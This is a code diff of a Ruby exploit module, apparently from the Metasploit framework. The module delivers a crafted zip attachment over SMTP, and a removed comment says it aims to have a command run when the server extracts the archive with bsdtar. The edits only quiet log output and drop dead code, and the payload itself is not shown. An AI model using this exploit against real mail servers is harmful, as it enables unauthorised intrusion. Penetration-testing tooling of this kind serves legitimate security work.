@@ -154,7 +154,7 @@ def exploit
154
154
155
155
ehlo_resp = raw_send_recv ( "EHLO #{ ehlo } \r \n " )
156
156
ehlo_resp . each_line do |line |
157
- print_status ( "#{ rhost } :#{ rport } - EHLO: #{ line . strip } " )
157
+ vprint_status ( "#{ rhost } :#{ rport } - EHLO: #{ line . strip } " )
158
158
end
159
159
160
160
resp = raw_send_recv ( "MAIL FROM: #{ from } \r \n " )
@@ -163,7 +163,7 @@ def exploit
163
163
if not resp or resp [ 0 , 3 ] != '250'
164
164
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - #{ msg } " )
165
165
else
166
- print_status ( "#{ rhost } :#{ rport } - #{ msg } " )
166
+ vprint_status ( "#{ rhost } :#{ rport } - #{ msg } " )
167
167
end
168
168
169
169
# connected lets start mailing
@@ -173,7 +173,7 @@ def exploit
173
173
if not resp or resp [ 0 , 3 ] != '250'
174
174
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - #{ msg } " )
175
175
else
176
- print_status ( "#{ rhost } :#{ rport } - #{ msg } " )
176
+ vprint_status ( "#{ rhost } :#{ rport } - #{ msg } " )
177
177
end
178
178
179
179
resp = raw_send_recv ( "DATA\r \n " )
@@ -182,7 +182,7 @@ def exploit
182
182
if not resp or resp [ 0 , 3 ] != '354'
183
183
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - #{ msg } " )
184
184
else
185
- print_status ( "#{ rhost } :#{ rport } - #{ msg } " )
185
+ vprint_status ( "#{ rhost } :#{ rport } - #{ msg } " )
186
186
end
187
187
188
188
stringib = Zip ::OutputStream . write_buffer do |zib |
@@ -217,12 +217,6 @@ def exploit
217
217
message << "--===============1434375302937503704==--\r \n "
218
218
message << ".\r \n "
219
219
resp = raw_send_recv ( message )
220
- #msg = "DELIVER: #{resp}"
221
- #if resp[0,3] == '450'
222
- # print_status("SUCCES! #{rhost}:#{rport} - Failing to extract archive, if bsdtar was available command is run!")
223
- #else
224
- # print_status("#{rhost}:#{rport} - #{msg}\n")
225
- #end
226
220
resp = raw_send_recv ( "rset\r \n " )
227
221
disconnect
228
222
0 commit comments